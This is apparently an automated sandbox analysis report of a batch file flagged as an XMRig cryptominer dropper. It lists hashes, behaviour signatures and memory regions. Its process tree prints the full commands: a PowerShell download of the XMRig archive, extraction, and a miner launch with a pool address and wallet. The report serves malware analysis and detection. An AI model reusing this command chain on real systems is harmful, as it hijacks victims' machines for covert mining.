Analysis

  • max time kernel
    1811s
  • max time network
    1844s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30-12-2023 07:23

General

  • Target

    tesy - Copy (9).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2216
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1240
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2864

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    5fe6842d8b55f783006758bb20d07318

    SHA1

    e5642e7143db6d3c6c43ffa3f204100bbfdbe5ed

    SHA256

    c6858b182fd083ee3d37625bce9c276793264c9d4e95b78ebda57e923f15f12a

    SHA512

    fb7d0886cd93ef8f772c6616e3dd9979b3a08d1fec28bb9ed7b11eba813e16a68c4d2ea469736702af01348853727fe4f3be950950420ead049fa7f1b1cc753c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5qct3hqx.tyx.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    68KB

    MD5

    bfba06cedc0edc5c6f521703299cc41f

    SHA1

    91413784a50b2e5bfbd6ed0b990255656d23ce9a

    SHA256

    5cae5bda98f10150c4eddc780dc0bb0f987c54f76a9a943d90a31f80e14a5079

    SHA512

    cdfb393ef2bbfc9e1ac2264dd145c2b81255e97cb266f7305d8f016f0013fe693247090824c1573facf6959c0b660e1753261d7a6c7fd3eab0d9a0d7f34e3031

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    187KB

    MD5

    cf545b5bc3e1f592b45095ce489257c2

    SHA1

    f3c92b07fcb02f722ca7152e1d0b28f9642a03f3

    SHA256

    d30e31b11e90fb7abdb42abe3212644ca6c618a56405b5e689db6356deee090a

    SHA512

    19886dc922d08c0270f2b6645f485bedcb62b4274f983791706c028f8d3e875f016c4e371cd3fb7cca283f0c2d8d8581b1d576eb1edcf214424685dca314768c

  • memory/1240-43-0x00007FFFFA280000-0x00007FFFFAC6C000-memory.dmp

    Filesize

    9.9MB

  • memory/1240-44-0x000001ED67770000-0x000001ED67780000-memory.dmp

    Filesize

    64KB

  • memory/1240-124-0x00007FFFFA280000-0x00007FFFFAC6C000-memory.dmp

    Filesize

    9.9MB

  • memory/1240-87-0x000001ED00410000-0x000001ED00422000-memory.dmp

    Filesize

    72KB

  • memory/1240-100-0x000001ED00380000-0x000001ED0038A000-memory.dmp

    Filesize

    40KB

  • memory/1240-72-0x000001ED67770000-0x000001ED67780000-memory.dmp

    Filesize

    64KB

  • memory/1240-45-0x000001ED67770000-0x000001ED67780000-memory.dmp

    Filesize

    64KB

  • memory/2216-32-0x000001F6C9F90000-0x000001F6C9FA0000-memory.dmp

    Filesize

    64KB

  • memory/2216-9-0x000001F6C9F90000-0x000001F6C9FA0000-memory.dmp

    Filesize

    64KB

  • memory/2216-7-0x000001F6C9F90000-0x000001F6C9FA0000-memory.dmp

    Filesize

    64KB

  • memory/2216-6-0x00007FFFFA280000-0x00007FFFFAC6C000-memory.dmp

    Filesize

    9.9MB

  • memory/2216-37-0x00007FFFFA280000-0x00007FFFFAC6C000-memory.dmp

    Filesize

    9.9MB

  • memory/2216-28-0x000001F6C9F90000-0x000001F6C9FA0000-memory.dmp

    Filesize

    64KB

  • memory/2216-12-0x000001F6E2280000-0x000001F6E22F6000-memory.dmp

    Filesize

    472KB

  • memory/2216-31-0x000001F6C9F90000-0x000001F6C9FA0000-memory.dmp

    Filesize

    64KB

  • memory/2216-30-0x000001F6C9F90000-0x000001F6C9FA0000-memory.dmp

    Filesize

    64KB

  • memory/2216-29-0x00007FFFFA280000-0x00007FFFFAC6C000-memory.dmp

    Filesize

    9.9MB

  • memory/2216-5-0x000001F6E20D0000-0x000001F6E20F2000-memory.dmp

    Filesize

    136KB

  • memory/2864-150-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-162-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-129-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-132-0x0000020021D00000-0x0000020021D20000-memory.dmp

    Filesize

    128KB

  • memory/2864-131-0x00000200B46E0000-0x00000200B4700000-memory.dmp

    Filesize

    128KB

  • memory/2864-130-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-133-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-134-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-135-0x00000200B46E0000-0x00000200B4700000-memory.dmp

    Filesize

    128KB

  • memory/2864-136-0x0000020021D00000-0x0000020021D20000-memory.dmp

    Filesize

    128KB

  • memory/2864-137-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-138-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-139-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-140-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-141-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-142-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-143-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-144-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-145-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-146-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-147-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-148-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-149-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-127-0x00000200201B0000-0x00000200201D0000-memory.dmp

    Filesize

    128KB

  • memory/2864-151-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-152-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-153-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-154-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-155-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-156-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-157-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-158-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-159-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-160-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-161-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-128-0x0000020021CC0000-0x0000020021D00000-memory.dmp

    Filesize

    256KB

  • memory/2864-163-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-164-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-165-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-166-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-167-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-168-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-169-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-170-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-171-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-172-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-173-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-174-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-175-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-176-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-177-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-178-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-179-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-180-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-181-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-182-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-183-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-184-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-185-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-186-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-187-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-188-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-189-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-190-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-191-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-192-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-193-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-194-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2864-195-0x00007FF7B16A0000-0x00007FF7B21A3000-memory.dmp

    Filesize

    11.0MB